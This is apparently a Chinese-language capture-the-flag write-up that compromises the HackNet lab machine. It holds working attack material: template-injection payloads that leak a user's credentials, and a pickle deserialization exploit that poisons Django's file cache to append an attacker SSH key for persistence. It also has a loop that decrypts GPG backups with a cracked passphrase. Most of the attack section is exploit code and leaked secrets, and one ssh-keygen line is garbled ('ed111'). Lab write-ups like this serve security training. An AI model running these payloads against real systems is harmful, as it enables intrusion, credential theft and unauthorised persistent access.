外网打点:

端口探测

使用nmap进行端口探测

发现存在22,80端口存活

配置host文件之后,访问80端口,发现存在web页面

web页面

渗透测试

测试功能,发现是一个聊天软件

注册用户

admin1@qq.com/admin1@qq.com

发现存在点赞功能和评论功能

漏洞入口

XSS漏洞

使用burp抓包尝试,发现存在·xss漏洞


点击帖子上的“点赞”按钮后,界面会立即显示已点赞的用户列表。该列表会动态变化——每次点击心形图标都会实时切换状态。显然,底层有客户端脚本(很可能是 JavaScript)在执行异步数据获取操作。

发现xss-payload成功解析。

SSTI漏洞

测试payload,发现存在模板注入



{{7*7}}
${7*7}
<% 7*7 %>
[[7*7]]


获取用户信息

构造payload获取泄露的用户名和密码


{{ users.0.email }}
{{ users.0.password }}

<div class="likes-review-item">
    <a href="/profile/27">
        <img src="/media/test.jpg" title="hexhunter@ciphermail.com">
    </a>
</div>

<div class="likes-review-item">
    <a href="/profile/27">
        <img src="/media/test.jpg" title="H3xHunt3r!">
    </a>
</div>

SSH登录

使用获取到的用户和密码进行登录

hexhunter@ciphermail.com

H3xHunt3r!

内网渗透

ssh连接之后,然后接着进行内网信息收集

路径分析


当前用户:
mikey(已有 shell)

目标用户:sandy(权限可能更高)

服务:

公开:SSH (22)、Apache (80)

本地:MySQL (3306,仅限 127.0.0.1)

敏感数据:/var/www/HackNet/backups/ 下有三个 sandy 拥有的 .sql.gpg 加密数据库备份。

关键突破口:tcpdump 具有 cap_net_raw+eip 权限,可非 root 抓包——能监听本地流量,窃取 MySQL 登录凭证或 HTTP 认证信息,助力提权或解密。

获取配置信息

成功翻到数据库账号密码

数据库权限

Pickle 反序列化

一个通用的 Pickling 漏洞利用框架:

import pickle
import os

class Evil:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Evil())


利用原理


Pickle 在反序列化时会调用对象的 reduce() 方法。通过自定义该方法,我们可劫持重构过程,执行任意命令(如 os.system 或 subprocess.Popen)。

漏洞利用


访问 /explore 或 /search 会生成新的缓存文件(位于 /var/tmp/django_cache)。这些缓存每 60 秒过期并重新生成——我们只需在刷新前替换文件,即可触发恶意 payload。

from pathlib import Path
import os

BASE_DIR = Path(__file__).resolve().parent.parent

SECRET_KEY = 'agyasdf&^F&ADf87AF*Df9A5D^AS%D6DflglLADIuhldfa7w'

DEBUG = False

ALLOWED_HOSTS = ['hacknet.htb']

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'SocialNetwork'
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'HackNet.urls'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'HackNet.wsgi.application'

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'hacknet',
        'USER': 'sandy',
        'PASSWORD': 'h@ckn3tDBpa$$',
        'HOST':'localhost',
        'PORT':'3306',
    }
}

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},
    }
}

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]

SESSION_ENGINE = 'django.contrib.sessions.backends.db'
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True

STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATIC_URL = '/static/'

MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'

DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'

漏洞存在于以下likes函数中SocialNetwork/views.py:

def likes(request, pk):
    if not "email" in request.session.keys():                      
        return redirect("index")
                                                                   
    session_user = get_object_or_404(SocialUser, email=request.session['email'])
    post = get_object_or_404(SocialArticle,pk=pk)
    users = post.likes.all()

    engine = engines["django"]
    template_string = ""

    context = {"users": users}

    for user in users:
        if not user.is_hidden or user == session_user:
            template_string += "<div class=\"likes-review-item\"><a href=\"/profile/"+str(user.pk)+"\"><img src=\""+user.picture.url+"\
" title=\""+user.username+"\"></a></div>"

    try:
        template = engine.from_string(template_string)
    except:
        template = engine.from_string("<div class=\"likes-review-item\"><a>Something went wrong...</a></div>")

    return HttpResponse(template.render(context, request))

发现带有cache_page的路由explore:

@cache_page(60)
def explore(request):                                                                                                                  
    if not "email" in request.session.keys():
        return redirect("index")                                   

    session_user = get_object_or_404(SocialUser, email=request.session['email'])
                                 
    page_size = 10                                                 
    keyword = ""                

    if "keyword" in request.GET.keys():
        keyword = request.GET['keyword']
        posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
    else:                                                                                                                              
        posts = SocialArticle.objects.all().order_by("-date")

    pages = ceil(len(posts) / page_size)

    if "page" in request.GET.keys() and int(request.GET['page']) > 0:
        post_start = int(request.GET['page'])*page_size-page_size
        post_end = post_start + page_size
        posts_slice = posts[post_start:post_end]
    else:
        posts_slice = posts[:page_size]

    news = get_news()
    request.session['requests'] = session_user.contact_requests
    request.session['messages'] = session_user.unread_messages

    for post_item in posts:
        if session_user in post_item.likes.all():
            post_item.is_like = True

    posts_filtered = []
    for post in posts_slice:
        if not post.author.is_hidden or post.author == session_user:
            posts_filtered.append(post)
        for like in post.likes.all():
            if like.is_hidden and like != session_user:
                post.likes_number -= 1

    context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}

    return render(request, "SocialNetwork/explore.html", context)

这是 Django 的一项功能,允许缓存页面。相关设置位于HackNet/settings.py:

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},                  
    }
}

这将在系统中建立基于文件的缓存

ssh-keygen -t ed111 -f ./skey -N ""

构造payload

#!/usr/bin/env python3

import pickle
import subprocess
from pathlib import Path

class Exploit:
    def __reduce__(self):

        return (subprocess.Popen, (["/bin/bash", "-c", "mkdir -p /home/sandy/.ssh; echo -e '\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\n' >> /home/sandy/.ssh/authorized_keys"],))

payload = pickle.dumps(Exploit())

for f in Path('/var/tmp/django_cache').iterdir():
    if f.is_file() and f.suffix == ".djcache":
        f.rename(f"{f}.bk")
        f.write_bytes(payload)
        print(f"Poisoned {f}")

漏洞利用

访问/explore触发漏洞

生成SSH私钥。

ssh登录

获取sandy权限.

权限提升

GPG滥用

.gnupg最引人注目的是一本完整的通讯录:


整个密钥环——撤销证书、信任数据库、密钥存根,以及最关键的加固私钥导出文件。

gpg --list-keys --keyid-format LONG
/home/sandy/.gnupg/pubring.kbx
------------------------------
pub   rsa1024/D72E5C1FA19C12F7 2024-12-29 [SC]
      21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid                 [ultimate] Sandy (My key for backups) <sandy@hacknet.htb>
sub   rsa1024/FC53AFB0D6355F16 2024-12-29 [E]

输入sweetheart,成功获取备份文件

gpg2john

解密需要私钥及其口令

gpg --import ~/.gnupg/private-keys-v1.d/armored_key.asc   # if not imported yet

PASS='sweetheart'

for f in /var/www/HackNet/backups/*.gpg; do
  gpg --batch --yes --pinentry-mode loopback \
      --passphrase "sweetheart" -o "/tmp/$(basename $f .gpg)" -d "$f"
done

备份转储

grep'pass'/tmp/backup*.sql

获取root权限